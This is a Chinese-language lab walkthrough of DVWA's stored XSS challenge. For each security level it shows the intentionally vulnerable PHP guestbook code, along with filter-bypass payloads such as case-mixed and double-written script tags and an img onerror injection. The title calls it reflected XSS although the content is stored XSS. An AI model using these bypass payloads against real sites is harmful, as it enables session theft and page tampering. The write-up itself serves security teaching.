DVWA V1.9:Reflected Cross Site Scripting(存儲型XSS)
存儲型 XSS 介紹
“跨站點腳本(XSS)”攻擊是一種注入問題,其中惡意腳本被注入到其他良性的和可信的網站中。
當攻擊者使用Web應用程序將惡意代碼(通常以瀏覽器端腳本的形式)發送給不同的最終用戶時,會發生XSS攻擊。
允許這些攻擊成功的缺陷非常普遍,並且在Web應用程序的任何地方使用來自用戶的輸入在輸出中發生,而不驗證或編碼它。
攻擊者可以使用XSS向惡意的用戶發送惡意腳本。
終端用戶的瀏覽器沒有辦法知道腳本不應該被信任,並且將執行JavaScript。
因爲它認爲腳本來自可信來源,惡意腳本可以訪問任何cookie、會話令牌或瀏覽器保留的其他敏感信息,並與該站點一起使用。
這些腳本甚至可以重寫HTML頁面的內容。
XSS存儲在數據庫中。XSS是永久的,直到數據庫被重置或手動刪除有效載荷。
Low 級別
核心代碼
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );
// Sanitize name input
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
trim(string,charlist)
函數移除字符串兩側的空白字符或其他預定義字符,預定義字符包括、\t、\n、\x0B、\r以及空格,可選參數charlist支持添加額外需要刪除的字符。
mysql_real_escape_string(string,connection)
函數會對字符串中的特殊符號(\x00,\n,\r,\,‘,“,\x1a)進行轉義。
stripslashes(string)
函數刪除字符串中的反斜槓。
可以看到,對輸入並沒有做XSS方面的過濾與檢查,且存儲在數據庫中,因此這裏存在明顯的存儲型XSS漏洞。
官方提示
低電平將不檢查請求輸入,然後將其包含在輸出文本中使用。
Spoiler: Either name or message field: <script>alert("XSS");</script>.
漏洞利用
name一欄前端有字數限制,抓包改爲<script>alert(/name/)</script>:成功彈框:
message一欄輸入<script>alert(/xss/)</script>,成功彈框:
Medium 級別
核心代碼
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
strip_tags() 函數剝去字符串中的HTML、XML以及PHP的標籤,但允許使用標籤。
addslashes() 函數返回在預定義字符(單引號、雙引號、反斜槓、NULL)之前添加反斜槓的字符串。
可以看到,由於對message參數使用了htmlspecialchars函數進行編碼,因此無法再通過message參數注入XSS代碼,但是對於name參數,只是簡單過濾了《script》字符串,仍然存在存儲型的XSS。
官方提示
開發者已經添加了一些保護,但是並沒有以相同的方式完成每一個領域。
Spoiler: name field: <sCriPt>alert("XSS");</sCriPt>.
漏洞利用
雙寫繞過,大小寫繞過,兩個方法都行,步驟一樣不復述了。
雙寫:<sc<script>ript>alert(/xss/)</script>
大小寫:<Script>alert(/xss/)</script>
High 級別
核心代碼
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
可以看到,這裏使用正則表達式過濾了
官方提示
開發人員現在相信他們可以通過刪除模式 “<scrip*t” 來禁用所有JavaScript
Spoiler: HTML events.
漏洞利用
步驟差不多,就不復述了。
利用格式:<img src=1 onerror=alert(1)>
Impossible 級別
核心代碼
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = mysql_real_escape_string( $name );
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
High Stored XSS Source
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
Medium Stored XSS Source
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
Low Stored XSS Source
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );
// Sanitize name input
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
可以看到,通過使用htmlspecialchars函數,解決了XSS,但是要注意的是,如果htmlspecialchars函數使用不當,攻擊者就可以通過編碼的方式繞過函數進行XSS注入,尤其是DOM型的XSS。
官方提示
使用內置PHP函數(如htmlspecialchars()“”它可以逃避任何會改變輸入行爲的值。